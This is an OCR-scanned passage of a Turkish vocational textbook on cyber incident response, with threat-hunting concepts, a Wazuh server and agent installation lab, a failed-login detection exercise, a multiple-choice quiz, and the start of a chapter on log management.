varsayimlar olusturulur. Ornegin bir sunucundan yiiksek miktarda veri transferi varsa veri sizintisi
oldugu duastnlebilir.

Araglar ve Tekniklerle Arastir (Investigate via Tools and Techniques): Hipotez belirlendikten sonra
bu varsayimi dogrulamak icin cesitli arac ve teknikler kullanilir. SIEM, EDR, XDR, ag izleme, TIP gibi
araclardan veriler toplanarak hipotezin gecerliligi arastirilir.

Yeni Desenleri ve TTP’leri Ortaya Cikar (Uncover New Patterns and TTPs): Arastirma slirecinde daha
once fark edilmemis veya tanimlanmamis saldirgan davranislari (desenler), teknikler veya anomaliler
ortaya cikabilir. Ornegin saldirgan davranislarin genellikle gece saatlerinde oldugu dusiinilir.
Cahsma saatleri icinde yapilan saldiri davranisi, yeni desen olarak kabul edilir. Benzer bir sekilde
MITRE ATT&CK’de var olan yontemlerle tehditler aranirken daha 6nce tespit edilmemis bir saldirgan
davranisiyla karsilasilabilir. Ortaya gikan bu durumlar, glivenlik sirecinde proaktif dnlemler alinmasina
onemli 6l¢tide katki saglar.

Analitikleri Bilgilendir ve Zenginlestir (Inform and Enrich Analytics): Tehdit avcilig sirecinde elde
edilen bulgular giivenlik sistemine entegre ederek savunmanin iyilestirilmesini saglar. Ornegin tespit
edilen kotl amacli yazilim igin yeni bir SIEM kurali yazilabilir veya saldirganlarin kullandigi kbt amacli
IP adresi, tehdit istihbaratina eklenebilir.

2.2. OLAY iZLEME UYGULAMASI

Wazuh, agik kaynakli bir izleme aracidir. Merkezi bir sunucu ve ug cihazlardaki ajanlarla birlikte ¢alisir.
Wazuh server, ajanlardan gelen tim bilgilerin toplandigi ana makinedir. Topladig bilgileri analiz eder,
korelasyonla inceler ve tehditler icin alarm Uretir. Wazuh agent, uc cihazlarda kurulan veri toplama
yazilimidir. Bu cihazlardaki loglari ve sistem aktivitelerini Wazuh sunucusuna aktarir. Ajanlar genellikle
TCP/512 Uzerinden sifreli olarak sunucuyla iletisim kurar.

@ SIBER OLAYLARA MUDAHALE




SiBER OLAY iZLEME

Gorsel 2.30°da Wazuh mimarisi goralir.

Wazuh central components

Linux endpoints
.................................................. Wazuh server

Windows endpoints l
Wi W. dashboard

Gorsel 2.30: Wazuh mimarisi

Endpoints: Wazuh agent yazihmi araciligiyla izlenen sistemlerdir. Bu cihazlardaki glivenlik olaylari,
glnlik kayitlar, yapilandirma degisiklikleri, dosya bitlnligiu degisikligi gibi eylemler kaydedilerek
sunucuya aktarilir.

Wazuh Manager: Wazuh mimarisinin en énemli bilesenidir. Ug noktalardaki ajanlardan gelen verileri
toplar, analiz eder ve giivenlik kurallarina gore degerlendirir. Tespit edilen tehditler icin alarm olusturur.
Alarmlar ve islenmis glivenlik loglari Filebeat’e iletilir.

Wazuh API: Wazuh manager ile Wazuh dashboard arasinda iletisimi saglayan uygulama arayizidr.
Wazuh managerin verilerine erisimi saglar.

Filebeat: Wazuh managerdan génderilen uyarilari ve islenmis glivenlik loglarini Wazuh Indexer’a aktarir.

Wazuh Dashboard: Wazuh manager tarafindan yiritllen tim olaylarin gorsellestirildigi kullanici
araylziduar.

Wazuh Indexer: Filebeat tarafindan gdnderilen uyarilarin ve islenmis glivenlik loglarinin depolandigi
alandr.

Bir finans kurulusunun aginda gece saatlerinde anormal trafik artisi ve farkli cografi
konumlardan art arda basarisiz oturum agma girisimleri tespit edilmistir. Bu senaryoya
gore asagidaki calismalari gergeklestiriniz:

1. Olayi izlemek icin kullanilacak araglari (SIEM, EDR/XDR, Firewall, IDS/IPS vb.) ve
uygulanacak izleme politikasini belirleyiniz.

2. Uygun tehdit avcihg1 yontemini segerek sec¢iminizi gerekgelendiriniz.

3. Wazuh dashboard Uzerinde bu olaya ait giivenlik uyarilarini tespit edebilmek igin
kullanilacak modyilleri, alanlari ve filtreleri agiklayiniz.

4. Elde ettiginiz bulgulari degerlendirerek olayin olasi riskini ve dncelik diizeyini belirtiniz.
5. Calisma sonunda kisa bir olay izleme ve degerlendirme raporu hazirlayiniz.

Degerlendirme: Calismaniz EK-1’de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olgutlerini dikkate aliniz.
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1. Uygulama

Wazuh server ve Wazuh agent kurulum islemlerini verilen adimlar dogrultusunda gergeklestiriniz.

Bu uygulamada olay izlemesiicin bir sunucu bilgisayar, izlenecek bir ug birim bilgisayar
ve bir yonetim bilgisayari kullaniimistir. Sunucu bilgisayarda Ubuntu Server 22.04.5
sirlimu, ug bilgisayarda ise Wazuh 4.5 stirim kullaniimistir.

1. Adim: Wazuh server kurulumunu yapmak igin bilgisayarin terminal ekraninda Goérsel 2.31'deki
komutu cahstiriniz.

Devices

g s *#Iﬂ ‘ -@l G ﬁ on Right Control

Gorsel 2.31: Wazuh server kurulum komutu

Kurulum tamamlandiktan sonra ekrana gelen kullanici adi ve parola bilgisini
kaydediniz. Bu bilgiler Wazuh sunucuya erisim icin kullanilir.
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2. Adim: Wazuh serverin baslatilmasi, acilista otomatik baslatiilmasi ve c¢alisma durumunun
gorintilenmesi komutlarini uygulayiniz (Gorsel 2.32).

Machine View

h #1ih,

o *Fﬂ ‘ -@ EM Ou Right Control .

Gorsel 2.32: Wazuh serverin baslatiimasi, otomatik baslatilmasi ve calisma durumunun gorintilenmesi

3. Adim: Wazuh serverin IP adresini 6grenip not aliniz (Gorsel 2.33).

Kararli ve glivenilir bir ag ortami igin sunucu bilgisayarlarin, statik IP adresine sahip
olmasi Onerilir.

File Machine View Input Devices Help

Gorsel 2.33: Wazuh serverin IP adresinin 6grenilmesi
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4. Adim: Yonetim bilgisayarinin web tarayicisindan Wazuh server bilgisayarinin IP adresini yazarak

sunucuya erisim saglayiniz (Gorsel 2.34).

Erisim sirasinda karsilasilan glvenlik uyarisini, Gelismis seceneginden riskleri kabul

ederek onaylayiniz.

Uyar: Giivenlik riskiyle karsilagabilirsiniz

Firefox olasi bir givenlik tehdidiyle kargilagtiy icin 192.168.1.5 adresine girmedi. Bu siteyi ziyaret
ederseniz saldirganlar parola, e-postave kredi karti gibi bilgilerinizi calmaya calisabilir,

Ne yapabilirsiniz?
Sorun buyuk olas likla web sitesinden kaynaklanryor, yani sizin yapabileceginiz bir yey yok.

Kurumsal bir addaysamz veya antivirus yazilim kullamyorsamiz destek ekibinizden yardim almay deneyebilirsiniz.
Aynica web sitesinin sahibini bu serun hakkinda bilgilendirebilicsiniz.

Daha fazla bilgi al

Geri din (Onerilir)

Gorsel 2.34: Wazuh servera erigilmesi

5. Adim: Wazuh servera erisim icin gerekli kullanici adi ve parola bilgisini giriniz (Gorsel 2.35).

wQazuh

The Open Source Security Platform

admin

Gorsel 2.35: Wazuh server erisiminde kullanici adi ve parola girilmesi
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6. Adim: Wazuh dashboard ekranini inceleyiniz (Gorsel 2.36).

(3] W Wazuh - Wazuh

C @
KaliLinux & KaliTools = KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec
= (O wazuh. v  Modules a | ©
Total agents Active agents Disconnected agents Pending agents Never connected

0 0 0 0

A\ No agents were added to this manager. Add agent

SECURITY INFORMATION MANAGEMENT AUDITING AND POLICY MONITORING
— 3 Z o o % (T ) cai
gD Security events @ Integrity monitoring H’l Policy monitoring _\~>_ System auditing
A
Browse through your Alerts related to file Verify that your systems are Audit users behavior,
security alerts, identifying changes, including configured according to monitoring command
issues and threats in your permissions, content, your security policies execution and alerting on
environment, ownership and attributes, baseline. access to critical files.

@ Security configuration
assessment

Scan your assets as part of
a configuration assessment

Gorsel 2.36: Wazuh server calisma ekrani

7. Adim: Wazuh dashboard ekranindan Add agent secenegi ile yeni bir ajan ekleme islemini baslatiniz
(Gorsel 2.37).

Eklenecek bilgisayarin isletim sistemi, sistemin versiyonu ve mimarisi segilir.

azuh. | Agents a @

I
[
2

Deploy a new agent @ Refresh

o Choose the operating system

Red Hat Enterpris... CentOS Windows macOS

> Show more

o Choose the version

Ubuntu 14 Ubuntu 15 +

o Choose the architecture

i386 armhf aarch64

Gorsel 2.37: Wazuh agentin eklenmesi
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8. Adim: Wazuh serverin IP adresini ekleyiniz (Gorsel 2.38).
o Wazuh server address

This is the address the agent uses to communicate with the Wazuh server. It can be an IP address or a fully qualified domain
name (FQDN).

192.168.1.5

Gorsel 2.38: Wazuh serverin IP adresinin eklenmesi

9. Adim: Ajan bilgisayarin adini ve grubunu belirleyiniz (Gorsel 2.39).

e Optional settings

The deployment sets the endpoint hostname as the agent name by default. Optionally, you can set the agent name below.

Assign an agent name

ubuntu_agent

@ The agent name must be unique. It can't be changed once the agent has been enrolled.

Select one or more existing groups

ov

Gorsel 2.39: Ajan bilgisayarin adinin ve grubunun belirlenmesi

10. Adim: Ajani kurmak ve eklemek icin gerekli komutu inceleyip not aliniz (Gorsel 2.40).

Bu komut, ajan bilgisayarda uygulanacaktr.

e Install and enroll the agent

You can use this command to install and enroll the Wazuh agent.

@ [f the installer finds another Wazuh agent in the system, it will upgrade it preserving the configuration.

curl -so wazuh-agent.deb https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.5.4-1_amd64.deb
&2 sudo WAZUH_MANAGER="192.168.1.5" WAZUH_AGENT_GROUP="default' WAZUH_AGENT_MAME='ubuntu_agent' dpkg -i ./wazuh-
agent.deb

Gorsel 2.40: Wazuh agent ekleme komutu
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11. Adim: Ajani calistirmak icin gerekli komutlari inceleyip not aliniz (Gorsel 2.41).

Bu komut, ajan bilgisayarda uygulanacaktir.

0 Start the agent

Systemd

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

Gorsel 2.41: Wazuh agentin calistiriimasi

12. Adim: Ajan olarak tanimlanacak bilgisayarin terminal ekraninda Gorsel 2.42’deki komutu ¢alistiriniz.

I+ root@UbuntuUser: /home/ubuntu-user Q = i o x

root@Ubuntulser: /home/ubuntu-user# curl -o wazuh-agent.deb https://packages.wazu
h.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.5.4-1 amd64.deb && sudo WAZU|
H MANAGER="192.168.1.5" WAZUH AGENT GROUP="default" WAZUH AGENT NAME="ubuntu age|
nt" dpkg -i ./wazuh-agent.deb

% lotal % Recelved % XTerd Average Speed  [ime Iime Iime Current

Dload Upload Total Spent Left Speed

100 8741k 100 8741k 0 0 2303k 0 0:00:03 0:00:03 --:--:-- 2303k
(Veritabani okunuyor ... 167232 dosya veya dizin kurulu durumda.)
Paket agilacak: ./wazuh-agent.deb ...
Paket aciliyor: wazuh-agent (4.5.4-1) Uzerine (4.5.4-1) ...
Ayarlaniyor: wazuh-agent (4.5.4-1) ...
root@Ubuntulser: /home/ubuntu-user# i

Gorsel 2.42: Ajan bilgisayarda ajan kurulum komutunun galistirilmasi

13. Adim: Ajan bilgisayarin yapilandirma dosyasini a¢iniz (Gorsel 2.43).

[+ root@UbuntuUser: fhomefubuntu-user Q o

root@Ubuntulser: /home/ubuntu-user# nano /var/ossec/etc/ossec.conf]]

Gorsel 2.43: Ajan bilgisayarin yapilandirma dosyasi
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14. Adim: Yapilandirma dosyasina Wazuh serverin IP adresini ekleyiniz (Gorsel 2.44).

M~ root@UbuntuUser: fhomefubuntu-user

GNU nano 7.2 /var/ossec/etc/ossec.conf *
=ihe s
Wazuh - Agent - Default configuration for ubuntu 24.094
More info at:
Mailing list:
-

<ossec_config=>
<client>
<server>
<address>192.168.1.5</address>
<port>1514</port=>
<protocol>tcp</protocol>
</server>
<config-profile>ubuntu, ubuntu24, ubuntu24.04</config-profile>
<notify time>10</notify time>
<time-reconnect>60</time-reconnect>
<auto restart>yes</auto restart>
<crypto_method=>aes</crypto_method>
<enrollment>
<enabled>yes</enabled>

§E Yardim ¥ Yaz @l Nerede a Kes Wl Calistir @€ Konum
B Cik } Dosya Oku g§Y Degistir gl Yapistir g Yasla Wi Satira Git

Gorsel 2.44: Yapilandirma dosyasinin diizenlenmesi

15. Adim: Ajan ekleme isleminden sonra sistem degisikliklerinin yeniden yliklenmesini, Wazuh
agentin baslatilmasini, acilista otomatik olarak baslatilmasini ve Wazuh agentin calisma durumunun
gorintilenmesini saglayiniz (Gorsel 2.45).

~ root@UbuntuUser: fhome/ubuntu-user

root@Ubuntulser: /home/ubuntu-user# systemctl daemon-reload
root@UbuntuUser: /home/ubuntu-user# systemctl enable wazuh-agent
Synchronizing state of wazuh-agent.service with SysV service script with /usr/1if
b/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable wazuh-agent
root@Ubuntulser: /home/ubuntu-user# systemctl start wazuh-agent
root@UbuntuUser: /home/ubuntu-user# systemctl status wazuh-agent
wazuh-agent.service - Wazuh agent
Loaded: loaded (/usr/lib/systemd/system/wazuh-agent.service; i presf
Active: since Fri 2025-05-23 15:41:01 +03; 22s ago
Process: 9542 ExecStart=/usr/bin/env /var/ossec/bin/wazuh-control start (coE
Tasks: 30 (limit: 9440)
Memory: 14.8M (peak: 17.7M)
CPU: 605ms
CGroup: /system.slice/wazuh-agent.service

May 23 15:40:48 UbuntuUser systemd[1]: Starting wazuh-agent.service - Wazuh agefy
May 23 15:40:48 UbuntuUser env[9542]: Starting Wazuh v4.5.4...

May 23 :40:49 UbuntuUser env[9542]: Started wazuh-execd...

May 23 15:40:54 UbuntuUser env[9542]: Started wazuh-agentd...

May 23 :40:55 UbuntulUser env[9542]: Started wazuh-syscheckd...

May 23 15:40:56 UbuntulUser env[9542]: Started wazuh-logcollector..

Gorsel 2.45: Ajan bilgisayarda Wazuh agentin calistiriimasi
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16. Adim: Yonetim bilgisayarindan Wazuh dashboarda baglanarak eklenen ajani gériintileyiniz (Gorsel
2.46).

= (O wazuh. v agents 2 O

STATUS DETAILS EVOLUTION

® Active (1)

Active Disconnected  Pending Never connected  Agents coverage @ disconnectsd
@ Disconnected (1) 1 1 0 50.00% §
Pending (0) s
Last registered agent Mast active agent
@® Never connected (0)
ubuntu_agent mint time por i

il

Agents (2) D Deploy new & Export formatted
o™ Name 1P address Group(s) Operating system Cluster node Version Status Actions
001 mint 192.168.1.18 default r\ Linux Mint 22,1 noded1 vasa4 @ disconnected
002 ubuntu_agent 192.168.1.20 default '\ Ubuntu 24.04.2 LTS noded? vds54 @ active

Gorsel 2.46: Wazuh dashboardda ajanin gortintilenmesi

2. Uygulama

Ug bilgisayarlarda gerceklesenolaylarinizlenmesiisleminiverilenadimlar dogrultusunda gergeklestiriniz.

1.Adim: Ajan bilgisayarda oturumu kapatip yanhs parolayla giris yapmayi deneyiniz ve ardindan dogru
parolayla oturumu aginiz (Gorsel 2.47).

O

(G

ubuntu user

Uzgunom, parola kimlik dog

Gorsel 2.47: Yanls parola ile oturum agma

2. Adim: Ayni agdaki bagka bir bilgisayardan ajan bilgisayara SSH ile baglanmayi deneyiniz ve bu
asamada yanlis parola ile baglanma istegi gonderiniz (Gorsel 2.48).

SSH ile baglanti kurabilmesi icin uzak bilgisayarda SSH server yikli olmalidir.
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el root@zeynep: fhome/zeynep

root@zeynep: /home/zeynep# ssh ubuntu_agent@192.168.1.20

ubuntu agent@192.168.1.20's password:
Permission denied, please try again.
ubuntu_agent@192.168.1.20's password:

Gorsel 2.48: SSH ile baglanti istegi yapiimasi

3. Adim: Yonetim bilgisayarinin tarayicisindan Wazuh dashboard sayfasina giris yapiniz.

4. Adim: Wazuh dashboard anasayfasindan Security events (glivenlik olaylari) secenegine tiklayiniz
(Gorsel 2.49).

= O wazuh. | M D o
Total adgents Acthe agents Msconnoctod agents Pording agerits Mivad connicied agents
SECURITY INFORMATION MAHAGEMENT AUDITING AND POLICY MONITORING
= " s . e
EU Securily events =| Integrity monitoring l“ Policy monitoring *_.\\F_ System auditing
vl
Wiy thal your ed
secording Ko your &
baseline

@ Security configuration
assessment

Scan your assets as part of &
confiquration assessment audit

Gorsel 2.49: Security events segenegi segimi

5.Adim: Security Alerts (Givenlik Uyarilari) boliminden givenlik uyarilarini gérintileyiniz (Gorsel
2.50).

Security Alerts

Time -1 Techniquels) Tactic(s) Description Level Rule ID

Jul 22, 2025 @

SIS, TI110.000  T1021.004 Credential Access, Lateral Movemnent sshd: Attempt to login using a non-existent user 5 5710
21:37:30.706
Jui 22,2025 @ " i
K e ol T1110.001 Credential Access PAM: User login falled, 5 5503

21:37:25.42

Gorsel 2.50: Guvenlik uyarilarinin gorintilenmesi

Security alerts kisminda gtivenlik olayinin meydana geldigi saat, olaya ait teknikler,
taktikler, olayin kisa agiklamasi, olayin risk seviyesi ve olayl tanimlayan ID bilgisi yer
alir. Uyari satirina tiklayarak daha detayl bilgiler elde edilir.
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde bos birakilan yerlere dogru kelimeleri yaziniz.

1.

B)

Agdaki farkl sistem ve glvenlik cihazlarindan gelen log verilerini tek bir merkezde toplayip analiz
ederek, glivenlik tehditlerini gercek zamanli tespit etmeyi ve olaylara miidahaleyi saglayan sisteme

Siber givenlikte sadece ug¢ nokta (bilgisayar, sunucu, mobil cihaz) Gzerindeki etkinlikleri strekli
olarak izleyen, potansiyel tehditleri tespit eden, analiz eden ve bunlara miidahale eden ¢éziime ....

Ag trafigini slrekli olarak izleyen, potansiyel giivenlik ihlallerini tespit ettiginde sadece alarm
Ureterek sistem yoOneticisini uyaran ve veri akisina dogrudan midahale etmeyen pasif glivenlik
SIStEMINE v, denir.

iceriden gelebilecek tehditler basta olmak {izere, bir agdaki kullanicilarin ve varlklarin normal
davranisini makine 6grenimi ile 6grenip, bu profilden sapan anormal veya slpheli hareketleri tespit
ederek uyari tGreten givenlik ¢cOZUMUNE ......ooovvcvieeiiiiiieeceeieeeeees denir.

Uygulama sunucusu ile istemci arasinda ters vekil (reverse proxy) olarak konumlanarak, ozellikle
uygulama katmani saldirilarina karsi gelen ve giden HTTP trafigini izleyip sipheli aktiviteleri
engelleyen giivenlik duvarina .......cccccceeeeieeeeciieee e, denir.

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

Asagidakilerden hangisi yliksek oncelikli 2. Tehdit siralamasi politikasina gore risk pu-
olay tiriidiir? ani hesaplanirken asagidaki faktérlerden
A) Anormal saatlerde oturum agma girisimi hangisi kullanilmaz?

B) Fidye yazilim saldirisi A) Log dosyasinin boyutu

C) Kullanici destek talepleri B) Kurulusun risk hassasiyeti

D) Yazilim glincelleme uyarilari C) Tehdidin etki seviyesi

E) Zayif parola kullanimi D) Tehdidin gergeklesme olasiligi

E) Yasal uyumluluk gerekliligi



3. Saldiri senaryolari politikasina gore asagi-

daki ifadelerden hangisi yanhstir?

A) Senaryolar belirli araliklarla tekrarlan-
malidir.

B) Senaryolar, glivenlik zafiyetlerini 6nce-
den tespit etmeyi amaglar.

C) Senaryolar teoriktir.

D) Senaryolar, MITRE ATT&CK gergevesine
gore olusturulabilir.

E) Tatbikat sonuglari raporlanarak zafiyet-
ler giderilir.

4. SIEM sistemlerin temel islevi agsagidakiler-

den hangisidir?

A) Ag trafigini kontrol etmek

B) Farkli kaynaklardan gelen givenlik
olaylarini toplayip analiz etmek

C) Parolalari otomatik olarak degistirmek

D) Sadece antiviris yazilimiyla entegre
calismak

E) Sadece loglari kaydetmek

. Asagidakilerden hangisi IPS ve IDS arasin-
daki temel farki ifade eder?

A) IDS, saldirilari engellerken IPS, ag trafigi-
niizler.

B) IDS, saldiri uyarisi verirken IPS, saldirilari
otomatik olarak engeller.

C) IPS sadece fiziksel giivenlik saglar.

D) IPS, log analizi yaparken IDS, ag trafigini
izler.

E) IDS, SOAR ile entegre galisirken IPS, calis-
maz.

. Tehdit avciliginin amaci asagidakilerden

hangisidir?

A) Antivirts yazihmlarini glincellemek

B) Kullanicilara egitim vermek

C) Pasif olarak alarm beklemek

D) Ag ve sistemlerdeki gizli tehditleri ara-
mak

E) Sadece loglari analiz ederek tehdit ara-
mak

7.

8.

9.

Tuzak sistemlerinin temel amaci agsagidaki-
lerden hangisidir?

A) Bulut sistemlerin glvenligini saglamak

B) E-posta trafigini sifrelemek

C) Saldirganlari, sahte sistemlere yonlen-
dirmek

D) Sipheli e-postalariizole bir alanda sak-
lamak

E) Stipheli davranis gésteren kullanicilarin
yetkilerini kisitlamak

Web Giivenlik Duvari (WAF) agsagidaki kat-
manlardan hangisinde ¢aligir?

A) Ag katmani

B) Fiziksel katman

C) Oturum katmani
D) Veri bagi katmani
E) Uygulama katmani

Asagidaki sistemlerden hangisi kullanici
davranislarini analiz ederek anormallikleri
tespit eder?

A) IDS/IPS

B) DLP

C) UEBA

D) SEG

E) WAF

10. Asagidakilerden hangisi Wazuh’un temel

bilesenlerinden biri degildir?
A) Agent

B) API

C) E-posta sunucusu

D) Indexer

E) Manager
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HAZIRLIK CALISMALARI

. Bilgisayarlarda yapilan islemlerin izlenmesi ve kayit altina alinmasi size neyi ifade eder?
Distincelerinizi arkadaslarinizla paylasiniz.

. Glinlik hayatinizda veya teknoloji alaninda yapilan islemlerin kayit altina alinmasinin ne
tir faydalari olabilir? Diistincelerinizi 6rneklerle sinifta paylasiniz.

. Bilgisayar veya sistemlerde yapilan islemler diizenli sekilde kaydedilmezse ne gibi sorunlar
ortaya cikabilir? Dustincelerinizi sinifta arkadaslarinizla tartisiniz.

3.1. LOG YONETIMI

Bir sistemin gerceklestirdigi islemleri kayit altina

alan verilere log denir. Bilgisayarlar, uygulamalar
veya cesiti ag cihazlar zerinde islem e \ /—

gerceklestirilirken yapilan galismalar belgelenerek GUVENLIK GUVENLIK
- . . . . DUVARI TEHDITLERI

bir iz birakir. Birakilan bu izler sayesinde sistemin

isleyisi takip edilir, ayni zamanda yapilan hatalar g > Q

ve glvenlik tehditleri belirlenir. Kurum ve ANTIVIRUS

isletmelerde givenlik duvari, antiviris, web =5 LOG x HATALAR
sunucusu, IDS/IPS gibi sistemlerden elde edilen =0 YONETIMI

cesitli log kayitlarinin tek bir merkezde toplanarak (=

; i R WEB SUNUCULARI

incelenmesi ve anlamlandiriimasi sureci, log

yénetimi olarak adlandirilir (Gérsel 3.1). Gorsel 3.1: Log yonetimi

Bir log kaydi genellikle olayin gerceklesme zamani, kaynagi, tiri ve olaydan etkilenen sistemlerle ilgili
bilgiler icerir. Ornegin bir kullanicinin sisteme giris yapmasi, isletim sisteminin beklenmedik bir hata
vermesi, bir glivenlik duvarinin stipheli bir baglantiyi engellemesi gibi olaylar log dosyalarina yansitilir.
Log kayitlarinda hedef ve kaynak IP adres bilgilerinin hangi tarihte, hangi sistemler Uzerinde islem
yaptigi kolayca gorilebilir.

Log kayitlarinin tutulmasinin 6nemli nedenleri vardir. Ornegin isletim sisteminde meydana gelen bir
hata veya olusabilecek bir glivenlik ihlali durumunda olayin kaynagini belirlemek ve gerekli bilgileri
elde edebilmek icin log verileri kullanilir. Agda ¢ikan problemleri analiz ederek performansi artirmak ve
sistemde gercgeklesen islemleri izlemek amaciyla da loglardan faydalanilir. Bitiin bunlarin yaninda yasal
cerceveler ve standartlara uyumluluk saglamak amaciyla da log kayitlarini tutmak biliylik 6nem arz eder.

3.1.1. Log Yénetiminin Onemi ve Siber Olaylara Miidahalede Rolii

Loglar, siber givenligin temel taslarindan biridir. Dogru sekilde yonetildiginde saldirilarin tespit
edilmesinde, olaylara aninda midahale edilmesinde ve tehditlerin kok nedeninin bulunmasinda biytk
rol oynarlar. Ayrica, log verileri analiz edilerek sistemdeki anormal davranislar fark edilebilir ve olasi
riskler erken asamada belirlenebilir.

Etkili bir log yonetimi sadece verileri depolamaktan ibaret degildir. Bu siiregte bilgiler islenerek anlaml
hale getirilir. Gereksiz kayitlar elenir, kritik olaylar vurgulanir ve boylece sistem yoneticileri ile glivenlik
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ekipleri, ortaya cikan sorunlara hizli ve etkili
bir sekilde karsilik verebilir (Gorsel 3.2).

Bazi sistem yoneticileri veya BT uzmanlari,
sorumlusu olduklari cihazlarin log kaydi
olusturup  olusturmadigini  veya bu
kayitlarin eksiksiz ve dogru bir sekilde
tutulup tutulmadigini géz ardi edebilir
ancak her sistemin kendine 6zgl loglama
mekanizmalari  oldugu gbz 6ninde

bulunduruldugunda ilgili personelin bu
konuda bilgi sahibi olmasi blylik 6nem
tasir. Log kayitlarinin  dogru sekilde
olusturulup  olusturulmadiginin  kontrol
edilmesi, sira disi aktivitelerin izlenmesi ve

gerektiginde midahale edilmesi, glivenli ve
siirdirilebilir bir sistem ydénetimi agisindan Gorsel 3.2: Log izleme (temsili)

kritik bir gerekliliktir.

Kurumlar igin log yonetimi, yalnizca bir glivenlik tedbiri degil ayni zamanda yasal bir sorumluluktur.
Ozellikle dijital ortamda yapilan islemlerin kayit altina alinmasi hem kurum ici denetim mekanizmalarinin
saglikli islemesi hem de olasi bir olay durumunda geriye doniik inceleme yapilabilmesi igin zorunludur.
Bu durum, gesitli ulusal ve uluslararasi mevzuatlarla da zorunlu hale getirilmistir. Ornegin Tiirkiye’'de
5651 sayili Kanun, internet erisim hizmeti sunan kurum ve kuruluslara belirli siirelerle log kayitlarini
tutma ve saklama yikimlaluga getirirken uluslararasi diizeyde ISO 27001 gibi standartlar, bilgi glivenligi
yonetim sistemlerinin temel yapi taslarindan biri olarak log yonetimini 6n plana ¢ikarir. Bu baglamda
log yonetimi, yalnizca teknik bir gereklilik degildir. Ayni zamanda yasal uyumlulugun saglanmasinda da
kilit bir rol Gstlenir (Gorsel 3.3).

Gorsel 3.3:1SO 27001

Siber olaylara midahale siirecinde log yonetimi, adeta olayin perde arkasini aydinlatan bir isik gibidir.
Sistemlerde gerceklesen her hareketin izini tasiyan log kayitlari; bir ihlalin ne zaman basladigini, hangi
sistemleri etkiledigini ve saldirganin hangi yollari kullanarak sisteme sizdigini belirlemede kritik rol
oynar. Dogru ve dizenli sekilde yonetilen log verileri sayesinde olayin kapsami hizlica analiz edilebilir,
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midahale stratejileri netlesir ve zarar en aza
indirilebilir. Ayrica log kayitlari, olay sonrasi
yapilacak adli analizlerde delil niteligi tasiyarak
hem kurum ici degerlendirmelerde hem de
hukuki streclerde glicli bir dayanak olusturur.
Bu nedenle etkili bir siber olay miidahale plani,
mutlaka saglikli bir log yonetimi altyapisini da
icermelidir (Gorsel 3.4).

3.1.1.1. Log Yénetiminin Temel Kavramlari Grsel 3.4: Siber olaylara mudahale

Etkili bir log yonetimi stratejisi olusturabilmek icin bu siireci olusturan temel kavramlarin iyi anlasiimasi
gerekir. Loglarin hangi kaynaklardan geldigi, nasil toplandigi, analiz edildigi ve glivenliginin nasil saglandigi
gibi unsurlar; olaylara hizli miidahale edebilmek, sistem bitlinlGgiini korumak ve yasal yikimlalikleri
yerine getirmek acisindan blyik énem tasir. Log yonetiminin etkin bir sekilde uygulanabilmesi igin
bilinmesi gereken temel kavramlar sunlardir:

Log Kaynagi: Bir bilisim agi veya sisteminde meydana gelen olaylari kaydeden ve log Ureten her tirli
donanim, yazilim veya bilesendir. Log kaynaklari; giivenlik olaylarinin takibi, sistem performansinin
analiz edilmesi, uyumluluk denetimlerinin yapilmasi gibi verileri bize sunar.

Log Toplama: Ag ve sistem bilesenlerinden (glivenlik duvarlari, sunucular, ag cihazlari, uygulamalar vb.)
elde edilen giinliik verilerinin merkezi bir noktada toplanmasi, depolanmasi ve analiz edilmesi siirecidir.
Log toplama, olaylarin izlenmesi ve glivenlik ile performans analizlerinin yapilabilmesi siirecinde 6nemli
bir adimdir.

Log Korelasyonu: Cesitli kaynaklardan
toplanan loglar birlestirilip, analiz edilerek (156 KAYNAKTATY
daha anlamli hale getirilir. Glvenlik duvarlari, By
ag cihazlari, sunucular gibi bagimsiz sistemler
kendi iclerinde loglar Greterek onemli bilgiler
sunar. Log korelasyonu, bu verilerin bir
araya getirilip analiz edilmesi ve aralarindaki
iliskilerin ortaya konmasi sirecini ifade
eder. Bu siireg; ozellikle stpheli aktivitelerin
tespiti, olaylarin daha dogru sekilde
anlasilmasi ve glvenlik tehditlerine karsi
hizli miidahale saglanmasi agisindan buylik
onem tasir. Ornegin bir giivenlik duvarinin
Urettigi giris loglari ile web sunucusundaki
kullanici aktiviteleri arasinda iliski kurularak
bir analiz yapilabilir. Eger glivenlik duvarinda
stpheli bir baglanti tespit edilmis ve ayni
zaman diliminde web sunucusunda hatali
giris denemeleri kaydedilmisse bu iki olay
arasindaki korelasyon, olasi bir saldiriyi isaret
edebilir (Gorsel 3.5).

@ SIBER OLAYLARA MUDAHALE
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Log korelasyonu genellikle SIEM [Security Information o
and Event Management (Giivenlik Bilgisi ve Olay - | T ) 2
Yonetimi)] sistemleri araciligiyla gerceklestirilir. Bu -, 0005 | | IMESTAMP
sistemler, farkli kaynaklardan gelen loglari toplar ve dlaen, 0o 20— —

analiz eder. Aralarindaki iliskileri ortaya cikararak (SRR RIS ATNgTY

e

N A

givenlik analistlerine uyarillar ve raporlar sunar.
Bu sayede givenlik yonetimi daha etkili bir sekilde
yaplilabilir.

Zaman Damgasi (Timestamp): Bir olayin veya islemin
gerceklesme zamanini belirten veri tirtudur. Genellikle
tarih ve saat bilgisi iceren zaman damgasi; loglarin
kronolojik siralanmasini, olaylarin zaman iginde takibini

ve analizini mamkin kilar. Boylelikle hata analizleri,
givenlik denetimleri gibi islemleri kolaylastirarak

Gorsel 3.6: Zaman damgasi

olaylarin dogru bir sekilde takip edilmesine olanak tanir
(Gorsel 3.6).

Log Saklama Siiresi: Toplanan loglarin ne kadar siire sistemde kayith kalacagini belirten siiredir. Bu
slire; guvenlik politikalari, yasal gereksinimler ve cesitli ihtiyaclara gore degisiklik gosterebilir. Log
saklama siresi genellikle yasal zorunluluklar, depolama kapasitesi, maliyet gibi faktoérlere bagh olarak
belirlenir. Ornegin internet ortaminda yayin yapanlarin, kullanicilarinin eylemlerine ait verileri 5651
sayili Kanun’a uygun olarak 2 yil slireyle saklamalari zorunludur fakat bankalar ve finansal kurumlar,
